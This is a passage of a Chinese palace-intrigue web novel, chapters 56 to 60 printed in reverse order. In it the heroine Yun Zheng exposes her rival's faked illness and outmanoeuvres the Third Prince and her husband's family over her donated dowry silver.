他气坏了,上次脸受伤还没有恢复好,她又来!非要毁了他的脸吗? “你……” 云筝冷冷的瞪着他,举起右手,郑重其事的开口。 “我发誓,我和云家这辈子都不会为江闻舟一家子花一文钱,若违此誓,就让平西侯府削爵,抄家,灭族。” 江闻舟如被一拳重重砸中脑门,眼前一黑。 安姑姑一众人:……这话好像哪里不对呀。 闻讯赶过来的平西侯府夫妻差点气晕过去,这誓有毒! 你到底会不会发誓啊,为什么拿平西侯府发这种毒誓?! 呸呸呸,不会应验吧? 人越聚越多,将梧桐院挤的水泄不通。 “人都到齐了,行刑吧。” 江闻舟急的冲父母直使眼色,平西侯像是没看到,一言不发。 侯夫人犹豫了一下,勉强求个情,“姑姑,叶氏或许已经怀孕了,这三十大板打下去,恐怕……” 安姑姑神色淡淡的道,“或许?又是你家府医说的?我明确告诉你,没有,她是常脉。” 怀孕了是滑脉,不一样的。 侯夫人的脸色一下子黑了。 叶宜蓁被侍卫按倒在地,倒是给了几分体面,没有剥下外衣行刑。 但,叶宜蓁感受到了前所未有的屈辱,怨恨如潮水般涌上来。 她恨在场的所有人!好恨! 一板子下来,她浑身一颤,一股难以言喻的剧痛袭来。 “啊,疼,好疼,夫君,救我。” 江闻舟不敢直视,背过身体安抚,“蓁蓁,你再忍忍,三十板子很快就过去了。” 叶宜蓁看他的眼神带上了几分恨意,废物,连自己的女人都护不住。 “啪。” 才打了三板子,叶宜蓁疼的无法呼吸,只觉得身体快被撕裂了,眼睛渐渐染上腥红。 就在此时,外面传来喧哗声,“不好了,走水了,走水了。” 现场一下子乱了,人群纷纷四处逃窜,尖叫声,哭喊声,此起彼伏,乱成一锅粥。 云筝猛的看向四周,是梧桐院的耳房起火了,火势很凶猛。 紫烟反应迅速,将她拉到一边,避开人潮,脚尖一点,凌空飞了起来,将云筝放在墙头。 云筝索性坐在墙头,居高临下的围观。 江闻舟冲上去抱起叶宜蓁往外跑,侯夫人眼睁睁看着儿子从身边窜过去,全然没有看到她的存在,差点气晕过去。 丫环们连拽带扯的拉她,但侯夫人本就生病,又受了惊吓,双腿发软走不动,实在没办法,一个下人将她背出去。 平西侯的反应很快,第一时间跑出院子,脸色发青,“快救火,快。” 再怎么组织救火,这火势蔓延的很快,随风乱窜,毫不留情的吞噬着一切,将连着的三间东厢房也燃着了。 烈焰焚烧,黑烟直冲云霄。 江闻舟心有余悸的擦了擦额头的汗,“没事了,别怕。” 叶宜蓁柔弱的依偎在他怀里,眼神闪烁。“弟妹呢?怎么没见她?她不会还困在里面吧?” 江闻舟也看了过去,眼神有些复杂,“死了最好,省的老跟我们作对。” 叶宜蓁嘴角轻轻扬起,温柔的说道,“别这么说,弟妹就是年轻气盛,不肯吃亏,心还是好的。” 江闻舟轻轻喟叹,“也就你这么说,哎,你就是太善良了,这样很容易吃亏。” 叶宜蓁心中闪过无数个念头,柔声说道,“还是派人去救她吧,她不能有事。” 云筝若死了,那一半的嫁妆就归了九千岁。 那都是农庄,大片的良田,店铺,商号,全是不动产,价值几百万呢。 江闻舟也想到了这一点,“若救了她出来,你就是她的救命恩人,她这辈子都得供着你。” 最好是烧伤了,半死不活,只留一口气。 “都是自家姐妹,说恩情就见外了。” 正说着话,就见两名侍卫护着安姑姑和德公公过来。 叶宜蓁心里一紧,怎么还没死? 江闻舟心思飞转,“安姑姑,你没事就好。” “出了这样的事,板子别打了吧,不吉利,帮叶氏求求皇后娘娘,说叶氏知道错了,会加倍的抄女戒。” 安姑姑迟疑了一下,叶宜蓁像是受了极大的惊吓,要是闹出人命就不好了。 “那,我先回宫……” 忽然,一道清脆的声音猛的响起,“江闻舟,你这个疯子,为了救叶宜蓁,居然放了一把火,你想烧死谁?宫中的人吗?” 是云筝,她就坐在墙头,雪白的小脸满是怒火。 如一道惊雷砸下来,所有人的脸色都变了。 第60章 伪装被拆穿 叶宜蓁的小脸吓白了,“我真的病了,不信的话,可以让府医为我证明。” 江闻舟也急的不行,“姑姑,她真的病了,不是装病,你别信云筝的一面之词。” “来人,去叫府医,快。” 府医匆匆赶过来,神色茫然。 江闻舟将他一把揪过来,冲他猛使眼色,“快,给蓁蓁诊脉,然后告诉所有人,她的病情。” 府医神色木木的坐在床边的凳子上,伸出两根手指,搭上叶宜蓁的胳膊。 安姑姑定定的看着这一幕,忽然来了一句,“大夫,你诊脉要认真仔细,别弄错了。” “是。”府医应了一声,开始认真诊脉,右手诊完换左手,神色很是专注。 诊了半天,他开口说道,“大少夫人是累着才病倒了,元气大伤,要卧床好好调理。” 叶宜蓁暗暗松了一口气,江闻舟如释重负。 云筝却笑了,他们是聪明反被聪明误,宫里是有备而来啊。 安姑姑微微蹙眉,“确定是病了?你要考虑清楚,若对宫中说谎的后果。” 府医一脸的傲气,“老朽不才,是先皇时期御医的关门弟子,家师姓于,我得了他一身真传,这种小病怎么可能难倒老朽,叶氏确实病了。” 安姑姑淡淡的道,“于东清于御医?” “是。” 安姑姑冷笑一声,“于御医怎么教一个庸医徒弟出来?看来,他的一世清名难保了。” 府医的脸色有些不好看,“姑姑请慎言,我行医几十年,绝不可能看错。” 太监德公公忽然开口说道,“安姑姑是御医世家安氏家族的女儿,家学渊源,精通医术。” 安姑姑神色严肃,“叶氏的寸、关、尺三部皆有脉,不浮不沉,从容和缓,节律一致,是常脉。”注(1) 常脉,也就是正常人的脉象。 江闻舟和叶宜蓁如五雷轰顶,齐齐变了脸色。 所以,安姑姑刚才拉着叶宜蓁的手,不是安慰,而是在把脉? 府医面色灰败,嘴唇颤抖,张了几次都没有说出话。 御医世家安氏非常有名,家里不分男女都学医,女医在后宫极受欢迎,背景强劲。 他若是说安氏女医术有问题,安氏会派出庞大的医者队伍前来会诊。 可,他敢吗? 安姑姑飞快伸手摸向叶宜蓁的脸,太过忽然,叶宜蓁避之不及被摸了正着,安姑姑的手沾了白白一层,放到鼻端嗅了嗅。 “是珍珠粉,将脸涂白了造成一脸病容,叶氏,你怎么解释?” 叶宜蓁脸色煞白,又急又怕的拉着江闻舟的手,眼泪都下来了。 江闻舟呆呆的站着,证据确凿,还怎么狡辩? 安姑姑冷喝道,“叶氏,你目无君王,藐视皇权,抗令不遵,打三十大板,以儆效尤。” 三十大板?那不死也残!叶宜蓁眼前一黑,差点晕过去。 江闻舟急的满头大汗,“姑姑,她不是故意,而是……” 他猛的看向云筝,满眼的怨恨,全怪她。 “被云筝逼的没有办法了,家母生病,只有叶宜蓁一人日夜侍病,都没有时间抄女戒,云筝却逍遥自在,不愿分担责任。” “若这是罪,那两人都有罪,要罚一起罚。” 云筝对着他挑畔一笑,以为将责任推到她头上,就能帮叶宜蓁脱罪? 她火力全开,当场掐回去,“什么时候轮到你来当判官了?什么时候你能做皇后的主了?” 江闻舟恨死她的脾气,永远张扬,不知道妥协,“我没有……” 云筝不等他说完,就可怜兮兮的诉苦,“姑姑,您也看到了,江二公子和叶氏情深似海,没事让我滚一边,有事推我出去,我真的倒了十八辈子的霉,才被骗婚。” 其实,安姑姑此行,一是查看叶氏病情的真实性,二是,来验证云筝的话真假,有没有欺君。 安姑姑很同情她, 她确实是受害者,回去后跟帝后好好说说此行的所见所闻。 乡主是受了极大的委屈,有这么一个夫君,几乎看不到未来,也难怪她要和离。 “皇上夸锦云乡主办差有功,江二公子有异议?” 江闻舟心中纵然万般怨念,也不敢说出来,“没,没有。” 安姑姑继续问道,“你觉得锦云乡主为皇上办差重要,还是为侯夫人侍疾重要?” 她的语气平和,没有咄咄逼人,但还是让江闻舟惊出一身冷汗,“当然……是办差重要。” 安姑姑又问了一句,“你觉得可以随意挑战皇后的威严?不把皇室放在眼里?可以随意欺君罔上?” 这才是关键!才是安姑姑此行的真正目的! 江闻舟忽然明白过来了,冷汗淋漓,他犯了皇室忌讳。“当然不是。” 安姑姑早就听闻平西侯世子文武双全的美名,但,没想到为了一个女子昏了头。 “把全府上下都叫来观刑,以儆效尤。” 侍卫应了一声,飞奔出去。 叶宜蓁大受刺激,眼白一翻,身体摇摇欲坠,江闻舟立马出手扶住她,见她花容失色,眼中含泪,心口一痛。 “姑姑,这对叶氏太残忍了,她只是一介弱女子,怎么受得了?” “而且,让所有人观刑,这让她以后怎么自处?还怎么服众?” 主子的威严一旦被打破,下人就不会服她, 以后就麻烦了。 安姑姑面无表情的道,“这是皇后的口谕。” “江二公子,皇后的威严不容任何人挑衅,谁都不行。” “做错事情就要接受惩罚,一定要痛彻心扉才能牢记教训,不会再犯。” 话说到这个份上了,江闻舟自知求情也没用,忍不住狠狠瞪了云筝一眼。 一定是她搞的鬼!她的嫉妒心太重了! 云筝立马看向叶宜蓁,故意问道,“对了,叶氏交罚金了吗?” 没有!侯府根本拿不出这一笔钱,一直拖着。 而,此时叶宜蓁心急如焚,不时的看向院门口,不知在等待什么。 云筝心中有些奇怪,难道她还有后手? 德公公看了过来,拱了拱手,“咱家奉皇上之命,前来接收罚金,二千金,也就是二万两银子。” 江闻舟的心往下沉,府里没钱啊,怎么办? 他狠狠瞪着云筝,忽然灵光一闪…… 第59章 装病,可好? 平西侯用力点头,一迭声的夸赞,“好看,太好看了,我从未见过如此精妙绝伦的字,花多少钱买的?要不要一万两黄金?我也去买一幅。” 云筝很失望,没有坑到这对父子,平西侯果然是千年老狐狸啊。 “侯爷比令郎有眼光,这是皇上的字,无价之宝。” 江闻舟懵逼了,随后吓出一身冷汗,云筝,她怎么这样啊?差一点坑死他了。 其实,平西侯第一眼没看出这是皇上的亲笔,平时奏折都是用台阁体,介于大楷和中楷之间的字体,是官方标准字体。 这鬼画符般的草书,谁认识? 但,当他看到竹石客这个落款时,猛然一惊,那是皇上! “好端端的怎么给写了一幅字?” 云筝洋洋得意的夸自己,“皇上慧眼识珠,夸我能干,办差有功,赏的。” 侯府的下人们投来敬畏的目光,皇上夸了她!以后得罪不起了! 平西侯父子的心情复杂难言,很不是滋味。 他们在受难,云筝却得了皇上的青睐! “那,皇上原谅我们了吗?” “哈哈。”云筝觉得他们很可笑,凭什么认定,她一定会求情?为什么个个觉得她嘴硬心软?哪来的自信? 云筝走下马车,随后,她看向身后的马车,大家顺着她的目光看过去,这装的是宫中的赏赐之物? 车门打开,走下来几个人,一名宫女,一名太监,两名宫中侍卫。 平西侯一怔,“筝儿,这是?” 云筝嘴角含着笑,“这是宫中来的安姑姑,这是德公公。” 宫女身着一袭蓝色宫装,不苟言笑,屈膝一行,“奴婢奉皇后之命,前来探视生病的叶宜蓁,请带路。” 平西侯父子闻声色变,不好,叶宜蓁还在正院!而且,她没有生病! 云筝非常热情的表示,“姑姑,我带你们去梧桐院。” 江闻舟一听,急出一身热汗,“云筝,你别掺和。” 糟糕,她又要搞事情了! 云筝听而不闻,笑意盈盈的道,“请,这边走。” 平西侯招来一名下人,耳语几句,下人立马奔向正院报讯。 而江闻舟迅速跟了上去。 正院,叶宜蓁正在上眼药,“弟妹太不懂事了,让公公和夫君这么担心。” 侯夫人面如沉水,心中的不满更深了。 就在此时,下人跌跌撞撞闯了进来,“不好了,皇后派人来查看大少夫人的病情,快回梧桐院装病,快。” 叶宜蓁吓了一大跳,猛的往外冲,跑的鞋子掉了都顾不上,跑! 另一边,云筝谈笑风生,给宫中人介绍院落分布和侯府的风景。 经过一条岔路时,云筝带着人往右边的路走,却被江闻舟拦住了,“云筝,你走错了,应该走这条路。” 他手指着左边那条路,云筝前世在侯府生活了十年,怎么可能走错? “没错啊。” 江闻舟态度很坚决,“错了,你这是绕远路,有一条更近的路,我来带路。” 云筝眼中闪过一丝嘲讽,却没有再说什么。 江闻舟暗松了一口气,慢悠悠的在前面带路,不动声色的试探对方,但,宫人口风很紧,没有透露一丝消息。 他带着人不停的绕圈子,直到远远看到下人打的手势,这才将人带到正确的道路上。 安姑姑抬头看着牌匾,“梧桐院?” 两边有对联,寒螀爱碧草,鸣凤栖青梧。注(1) 云筝淡淡的笑道,“这是对感情忠贞不渝,不畏权势,不慕金钱,情比金坚。” 语气凉凉的,似是嘲讽,又似鄙夷。 安姑姑沉默了,忠贞不渝?情比金坚?叔嫂之间吗? 不慕金钱?那为什么要兼祧两房? 这是把天下人当傻子,还故意恶心人,难怪锦云乡主反抗了。 屋内传来一道咳嗽声,江闻舟有些忧心忡忡,“姑姑,要不在外面看看,别进内室了,我怕过了病气给你。” “无碍。”安姑姑抬脚走了进去。 内室,叶宜蓁躺在床上,面色苍白,没有一丝血色,两眼无神,失去了生气,额头全是汗珠。 见到有人进来,她强撑着要坐起来,却无力的又跌了回去,吓的丫环赶紧上前扶。 折腾好半天,叶宜蓁无力的倒在丫环怀里,浑身颤抖。 “姑姑恕罪,我实在是病的厉害,无法起身迎接,咳咳。” 安姑姑上前坐在床边,一把拉住她的胳膊,关心的问道,“这是得了什么病?” 叶宜蓁有气无力的回答,“太累了,感染了风寒,咳咳,姑姑,抱歉。” 安姑姑表示无碍,“长的真好,你是哪里人?家里还有什么人?” 叶宜蓁瞳孔紧缩,但,很快恢复如常,含泪说道。 “我是西南巴郡人,从小父母双亡,幸得侯府收留,才有了一栖之地,对我来说,平西侯府就是我的家,侯夫人是我的亲娘。” “为她死了,我也心甘情愿。” 安姑姑夸了一句,“真是孝顺。” “为人子女,这是应该的。” 江闻舟很感动,他的蓁蓁是世上最善良最孝顺,最温柔体贴的好姑娘。 云筝在一边冷眼旁观,没有错过她任何表情,奇怪,叶宜蓁提到身世时怎么有点紧张?是错觉吗? 叶宜蓁忽然看了过来,“不过,我忽然病倒,婆母身边没人侍候,我实在放收不下,就要劳烦弟妹过去守着,婆母是个和善的,很好侍候。” 既展现了她长嫂的风范,又秀了一下她的善良,还道德绑架,借着宫中势力的手,逼云筝去侍候侯夫人。 可,云筝不吃这一套,她可没有什么道德可言。 “怎么就没人了?她儿子死光了?她女儿也没了?” 侯夫人育有两儿一女,这段时间一双儿女全被送去外家,美其名曰为外祖母祝寿。 江闻舟绷不住了,勃然大怒,“云筝,你居然咒我全家。” “是她说没人了。”云筝手指着叶宜蓁,大声控诉,“我还以为今日忽然都死了呢,姑姑,您也看到了,侯府啊,没一个正经人。” “你胡搅蛮缠。”江闻舟气炸了。 叶宜蓁眼眶红了,像受了天大的委屈,“弟妹,你要出气就冲着我来,别为难侯府的其他人,我病倒了,夫君也累坏了,只有你好好的,也该担起你一个儿媳妇应尽的职责。” 云筝看着她,忽然来了一句,“怎么不咳了?” 叶宜蓁脸色一变,立马狂咳不止。 但,晚了,安姑姑收回手站起来,大声喝斥。 “叶氏,你好大的胆子,居然装病糊弄皇后娘娘,该死。” 叶宜蓁脑袋一片空白,完了!她该怎么狡辩? 不行,她还有使命未完成,她不能出事! 搬救兵!她脑海瞬间闪过一道黑影…… 第58章 是谁破防了? 是谁破防了?云筝不说,一味的笑。 三皇子浑身发抖,面色苍白如纸,这是个疯子,她宁可拉着他一起死,也不会委屈自己。 可他,有大好的前程,有光明的未来,为什么要跟一个低贱的商贾之女玉石俱焚? “我是说,这是父皇的旨意。” 云筝寸步不让,“口说无凭,把圣旨拿出来。” 三皇子被逼的满头大汗,“是口谕。” 云筝一脸的怀疑,“不可能,皇上那般英明神武的人,不可能逼迫臣女出银子填亏空,三皇子,你这是故意抹黑皇上,想让皇上在史书上留下一个污点,怎么会有你这样的不孝子?” 她可以主动给,但不接受被迫给。 三皇子整个人都不好了,直到此时,他才发现自己说什么都是错。 若,咬死是圣意,一个强迫臣女出钱的帝王,注定是污点。父皇那般在乎身后名的人,岂能饶了他? 若,承认是假的,那他就是假传圣旨,必须严惩,以儆效尤。 无助,惶恐。谁来救救他! 其他人面面相觑,不知该如何帮忙。 云筝的每句话都挑不出刺,人家把皇帝高高捧起,极尽推崇。 不得不说,她似乎知道皇上的底线在哪里,在底线附近徘徊,却没有踩上去,尺度掌控恰到好处。 而,这次三皇子确实是被抓住了把柄。 三皇子可怜巴巴的看向九皇叔求助,厉无恙却深深的看着云筝,全然没注意到可怜的侄子。 她怎么敢跑来这里搞事?就不怕小心眼的皇上记恨吗? 她似乎知道了皇上想利用她做什么,而且,非她不可,才会如此肆无忌惮。 不对,厉无恙脑海里闪过一道灵光,这一切应该是她精心布局的结果,步步为营,才让皇上看到了她最厉害的长处,就是搞钱。 而皇上,很缺钱! 一想到这,他眼神复杂到了极点,算无遗漏啊,偏偏,大家都觉得她只有小聪明,没有大局观,暴躁易怒,不足为患。 一辆马车飞驰而来,“宫中有令。” 大家纷纷看过去,马车停下,一个宫女和一个太监走下来,给九千岁和三皇子行了礼。 随后,宫女冲云筝行了一礼,“乡主,我奉皇后之命前来,有事相询,可否借个地方?“ 云筝眼珠一转,“这边请。” 两人在一边聊了几句,云筝转头就走到九千岁面前,“王爷,我有事先走了。” 厉无恙微微颔首,视线落在她腰间的玉玦上,不言而喻。 云筝嘴角上扬,有难事一定会去求九千岁的。 她看向三皇子,三皇子强忍着笑意,拼命挥手,“你走,你走吧。” 云筝扭头就走,干脆利落,全然没有刚才的咄咄逼人。 目送她离开,三皇子长长吐出一口气,如死里逃生般庆幸,太好了,逃过一劫。 耳边传来九皇叔淡漠的声音,“三皇子,本王若是你,就马上回宫解释。” 三皇子不假思索的点头,“多谢九皇叔提点,我这就回宫。” 他什么都顾不上了,脑子里只有父皇那张盛怒的脸。 厉无恙眼眸微闪,三皇子刷声望的计划恐怕要落空了。 接下去的发放过程很顺利,没人敢跳出来闹腾。 云筝虽然走了,但,处处都有她的传说,三皇子在她手里都没有讨到好,别人就更别想了。 那些蠢蠢欲动的心思都歇了。 发银子的人时不时的会说上一句,锦云乡主人美心善,皇上仁慈宽厚。 无形中,给云筝刷了一波声望。 高官是不在乎这点钱的,但低级官吏就欢天喜地,比过年还开心。 商量着给家人添置几件新衣,吃一顿大餐。 “你领到多少钱?” “二百两银子,够我们一家五口吃喝几年。” “我终于能给病重的老娘抓几帖好药了,真好,谢谢锦云乡主。” “锦云乡主有一颗体恤之心,谁娶到了她就有福了。” 吃了嘴软,拿人手短,拿了云筝的钱,自然要为她说话的。 “平西侯府可不是这么想的,把乡主欺负的够呛,乡主一气之下就将嫁妆捐了一半。” “这么说,我们还要谢谢平西侯府。” “是个好姑娘,以后若谁说她半句坏话,我第一个不答应。” “我也不答应。” 有些没良心,拿到钱也不会念好,但不能在公众场合说她的坏话,也不能弹劾她了。 当然,你可以选择不拿钱,继续诋毁她。 再说,总有几个有良心的。 御史们黑着一张脸,穷御史,穷翰林,都穷啊,心里酸的不行。 “哼,这是收买人心,我要上书弹劾,此风不可长。” “别闹,你想得罪所有人吗?” 御史一口气泄了,那自然是不能的。 “她到底是太年轻了,不知道钱是买不到真心的。” “人家也不要真心,只要我们闭嘴。” 御史们:…… 平西侯府,一家子从早上就开始等,等啊等,等到下午也不见云筝回来。 大家都慌了,坐立不安,急的直跳脚,不会惹祸了吧。 夕阳西下,平西侯府的正门打开,两辆马车徐徐驰进去。 平西侯闻讯第一个赶过来,“筝儿,一切还顺利吗?” 云筝探出脑袋,眉眼含笑,气色极好,“当然顺利。” 平西侯的一颗心落到实地,江闻舟按捺不住,大声质问,“怎么去了那么久?不知道大家都在等你的好消息吗?你做事怎么这么不靠谱?” 云筝看向四周,只有他们父子带着一众下人在场,叶宜蓁又躲起来了。 平西侯面带笑容,“闻舟闭嘴,筝儿累了吧,先回院子休息。” 江闻舟很不耐烦,“休息什么?先把事情交待清楚,皇上是什么态度?他原谅我们了吗?” 云筝眼珠一转,拿出一幅字,笑意盈盈的展现给众人看。 “来,看看,这一幅字如何?” 千珍阁,是龙飞凤舞的草书,落款是竹石客,还有印章。 江闻舟哪有心情细看,“这种时候,你还有心情买字?非要显摆千珍阁是你的家业吗?” 云筝故意大声问道,“这字好看吗?” “不好……”江闻舟满满是嫌弃。 但,他的话还没说完,就被平西侯一把勒住脖子捂嘴,差点一口气上不来。 父亲是想捂死他吗?! 却不知,平西侯吓白了脸…… 第57章 要钱,没有!要命,有一条 皇宫, 三皇子缠了半天,皇上终于答应,等他出宫开府,给他四十万两银子的补贴。 按理说,皇子开府按例是二十万两银子。 这不,多出了一倍,把三皇子乐坏了,难得父皇这么大方。 说起来,还要感谢云筝那个蠢货,自以为聪明,其实,好处全被皇室占了。 皇上也被哄的很开心,如今私库多了几百万两银子,终于能随心所欲的花钱了。 二百万银子修行宫,等天气炎热时去避暑。 剩下的哄哄后宫嫔妃和皇子公主们,也够了。 就在父子俩和乐融融时,一个侍卫走进来,“皇上,不好了……” 听完侍卫的话,皇上的脸黑了,“她怎么这么能折腾?受了一点气就跑去跟人对掐,女子的贞静淑贤,她是一点都不沾边。” 关键是,掐架就掐架,还把事情闹开了。 这下子文武百官都知道这件事,他还怎么悄无声息的把钱挪用了? 三皇子气红了眼,“又莽又凶残又不讲道理,一点容人之量都没有,怪不得江闻舟瞧不上她,可恶!” 父子俩气的骂人,却没有怀疑云筝是故意的。 她能在成亲当日,将夫家闹的天翻地覆,让夫家名声扫地,又岂是识大体,有大局观的人? 正常的做法是,暂时按下此事,暗中谈条件,你好我好大家都好。 可,她将桌掀翻,谁都别想吃! “父皇,您该狠狠处罚她,给她一个教训。” 皇上冷冷的反问,“罪名呢?” 三皇子哑口无言,难道说,是父皇将钱扣了,她不小心将事情挑破了,引的百官群情激愤? “那怎么办?” 皇上沉默良久,深吸了一口气,“你,去把银子送过去,发放给百官。” 他意识到这事按不住了,再闹下去,丢脸的是皇室。 三皇子一想到即将到手的四十万两银子就要飞了,心痛欲死。“我不干。” 皇上瞪了他一眼,“蠢货。” “来人,传旨,让九千岁去办。” “是。” 等人走了,三皇子才反应过来,父皇让他去给百官分银子,就是让他去刷声望,积攒人脉啊。 钱保不住了,那就刷声望。 “父皇,我去,我就去。” 官员们还在围着户部尚书要个说法,户部尚书又累又烦躁,这都什么破事啊。 “九千岁驾到。” 众官员立马齐刷刷的行礼,户部尚书总算是解脱了,擦了一把额头的汗。 厉无恙带着手下押送着几十个大箱子过来,“奉皇上之命,给文武百官发银子,让各部的管事都过来对帐。” 箱子打开,里面全是白花花的银子,大家的眼睛都直了,兴奋的满面红光。 大家开心的四处奔告。 各部门的一把手纷纷赶过来,轮流对账。 “户部,32万。” “吏部,16万。” “等一下,户部为什么是翻倍?” 厉无恙坐在马车里,喝着香茶,冷眼监督,“给乡主打下手了,这是论劳行赏。” 好吧,这理由很充足,户部喜笑颜开,其他部门懊恼不已,错失良机啊。 “听说,还有一次拍卖,需要人手帮忙吗?” “我们户部够用了 。” “凭什么每次是你们户部帮忙?该轮到我们吏部了。” 有人忽然叫了起来,“不对啊,乡主说我们20万,怎么少了4万?” 大家齐刷刷看向厉无恙,他像是没听到,神色淡漠的挥手示意,继续。 “御史台没有。” 满心欢喜的御史们如被一盆冷水浇下来,浇了个透心凉,“为什么?” 负责分钱的谷雨大人冷笑一声,“弹劾锦云乡主的人都没有,毕竟这是她的嫁妆银子,不能发给伤害她的人。” 众御史呆住了,就因为这个原因?“她是错了呀,我们弹劾没错。” 谷雨大人眼皮都没有撩一下,“我们只是奉命行事。” 就在他们不甘心时,三皇子匆匆赶来了,“九皇叔,这确实有点不公平。” 众人纷纷行礼,“参见三皇子。” “都起来吧。” 三皇子义正言辞的表示,“九皇叔,弹劾是他们的工作,剥夺他们分银子的权利是不公平的,我认为,应该给所有人发银子。” 御史们很感动,还是三皇子好啊。 厉无恙修长的手指轻敲车壁,一下又一下,敲的人心里发慌。 不知过了多久,他才慢悠悠的开口,“你说的有几分道理。” 他又来了一句,“那行,这一笔开销,你来出。” 三皇子的笑脸僵住了,“凭什么我出?” 他只想拿别人的钱做好人!可不想自己掏一毛钱。 厉无恙可不惯着他,“谁建议,谁出钱。” 三皇子又气又恼,“帐上有钱啊。” 厉无恙朝皇宫方向拱了拱手,眼神冷戾,“皇上恩准,这一笔钱并入我们明镜司,你这是要跟我们明镜司抢钱?” 谁敢?三皇子也不敢,他怕被穿小鞋。 他灵机一动,有了好主意,“那……就让锦云乡主补上这一笔钱。” 三皇子心中大定,对着众官员拍着胸口保证,“你们放心,该你们的,一分都不会少。” 御史率先行礼道谢,“多谢三皇子,您如此体恤臣子,礼贤下士,有你,是我们的福气。” 三皇子心中得意万分,哼,坑死她! 厉无恙微微蹙眉,视线落在某个角落。 “哈。”一道轻笑声响起,云筝从暗处走出来。 三皇子的火气一下子上来了,“锦云乡主,你来的正好,快把这一笔钱补上,现在马上去取来。” 他仗着身份,拿云筝当成刷声望的垫脚石。 但,云筝是硬石头,强硬无比,“要钱,没有!要命,有一条。” 三皇子勃然大怒,“不肯?你又不差这点钱。” 云筝淡淡的看向四周,“给弹劾我的人发钱,我有那么贱吗?” “这是命令。”三皇子知道,云筝此举已经得罪了父皇,自家父皇可不是一个大度的人。 在他眼里,云筝迟早是个死人。在之前,她还有用,父皇要用她。 “你是敲诈勒索。”云筝深知,今日她若妥协了,等着她的将是各方的勒索。 “我只听君王的话,等你哪天上位了再来命令我吧,现在嘛,你不配!” 这是当众打他的脸,三皇子气的嘴巴都歪了,脑袋一热,“放肆,这是圣旨!” 云筝眼中闪过一丝狡黠,抓住把柄了!“你的话就是圣旨?你把自己当皇上?放肆!吾皇身体康健,还能活个几十年,除非,你先把皇上干……” “云筝。” “锦云乡主。” “你闭嘴!闭嘴!” 第56章 云筝,搞事的小坏蛋 两人挨的极近,气息相闻,肌肤相触。 云筝睁着一双乌黑的大眼睛, 可怜兮兮的,她错了!就是一时气恼! 温热的气息喷在厉无恙掌心,带起一阵酥麻,心跳乱了。 他猛的松手,身体退了回去,右手收入宽大的衣袖,但,依旧能感受到那一份残存的热度。 怦怦怦,心跳声一下又一下,震耳欲聋。 云筝丝毫没有察觉到异样,“王爷,我不该信口开河,以后会谨言慎行。” “嗯。” 声音很低,云筝觉得有点奇怪,抬头看了一眼,男人依旧神色淡漠,但耳朵红了。 她没有多想,眼珠滴溜溜的转,“你那么紧张,不会真的是……” 厉无恙没好气的瞪了她一眼,“闭嘴,以后,长点心吧。” “是是是。”云筝嘴上应着,心里更好奇了,不会是真被她猜中了吧?贵为帝王,谁会抛弃他?不可能吧。 “最后一个问题,皇上……是不是扣下了那一笔钱?” 厉无恙一味沉默不语。 云筝秒懂,就算那些弹劾之人的份额全充公转给明镜司,那也只是十分之一啊。 难怪,狗皇帝答应的那么痛快,敢情还能扣下大部分的钱自用。 她气的直翻白眼,狗皇帝,贪得无厌,毁了她一盘好棋。 不行,她咽不下这口气! 搞事,搞事,搞事! 正是散衙时,官员们三三两两结伴走出来,嘴里还在讨论新出炉的锦云乡主,抛头露面,成何体统,必须弹劾。 户部尚书走在中间,面色凝重,大家见状都不敢靠近。 一辆马车徐徐靠近,拦住大家的去路。 大家好奇的停下脚步,是谁家的马车?怎么没有徽记? 马车停了,车门打开,一个神色严肃的嬷嬷走下马车,“主子,到了。” 一只纤细盈白的手伸出来,吸引了所有人的注意。 随后,一张绝艳动人的脸出现在众人眼前,攻击着所有人的视觉。 美,太美了,艳丽张扬的美,美的惊心动魄。 一名官员眼睛一亮,主动上前,“请问,这是哪家的小姐?” 李嬷嬷从容的介绍,“这是我家主子,锦云乡主。” 如一道惊雷砸在众人头顶,啥?她就是这些天引发舆论狂潮,被疯狂弹劾的女子? 没人告诉他们,她长的这么美! 不过,她来这里干嘛? 面对众官员的目光,云筝一点都不怂,神色淡然自若。 一名御史上前,大声问道,“你就是锦云乡主?” 云筝淡淡瞥了一眼,从容的问道,“是,有何见教?” 御史大声喝道,“你一个女儿家抛头露面,跟一群男人厮混在一起,不知廉耻。你父母是怎么教育你的?家教太差了。” 他的同僚也纷纷上前指责,“一个商贾之女,教养肯定不行,赶紧回平西侯府闭门思过,以后不要再出门了,否则,我们见一次就骂一次。” “对,我们会天天盯着你,弹劾你。” 这些面对面的攻击,充满了恶意和居高临下的傲慢。 云筝是遇强则强的人,当场就呵呵一笑。 “呵,当官的这么没良心?拿了我大笔银子,还骂我?那还不如喂狗呢,最起码狗还会冲我摇尾巴。” 御史们像是受了天大的羞辱,气愤不已,“谁拿你的钱了?别胡说八道。” “别以为有钱了不起,我们是有骨气的,看不上你那点臭钱。” 那点臭钱?云筝挑了挑眉,扬声道,“此次,我拿出,488.19万两银子,分给六部九卿和明镜司十六个部门……” 嗯,她啥都不知道!只知道发了钱,还被弹劾委屈坏了,过来找个说法。 对,就是这样。 这话吸引了所有人的注意力,纷纷围过来,多少?将近五百万两银子?全分给他们?没听错吧? 云筝的话还没说完,户部尚书就急急奔过来,主动打招呼。“乡主,您怎么来了?” 云筝看着神色紧张的户部尚书,心中了然。 “尚书大人,这事是你经手的,你来说,我是不是拿出了488.19万两银子?” 有整有零,不像是编的,百官有点信了。 户部尚书急出一身热汗,“有什么话,我们找个地方说。” 工部尚书带着人围了过来,“别呀,当着大家的面把话说清楚,到底是怎么回事?真的有这一笔钱?” 关系到切身利益,大家都不能壁上观了,纷纷围过来,讨要一个说法。 云筝很惊讶,“怎么?还没有分下去?这效率不行啊。” “ 这个……那个……”户部尚书有苦难言,这个时候说什么都不对。 总不能指责君王不做人,将银子并入自己私库,自己享乐吧? “您倒是说啊。”百官急的直跳脚。 云筝知道皇上想扣下这一笔钱,但,凭什么呀?不准她和离,却心安理得的拿她的银子享乐,做梦去吧。 “你们装什么装?每个部门能分到20w,出力的户部和明镜司双倍,就是40万,每个人都能分到不少钱,你们拿了钱,还弹劾我,不要脸,哼。” 这话一出,顿时炸开了锅,这么多银子! 大家都急了,“我们没拿钱,你别瞎说。” 云筝装模作样的瞪大眼睛,震惊不已,“啊,没拿钱?尚书大人,你还没有发下去?” 一名官员问道,“尚书大人,真的有这么一笔钱吗?” 所以,这钱去哪里了?不会是被谁贪污了吧? 不行,那是他们的钱! 尚书大人嘴里发苦,这让他怎么说呢? “这可是锦云乡主给我们的银子,你凭什么扣下不发?你不会是自己吞了吧?” 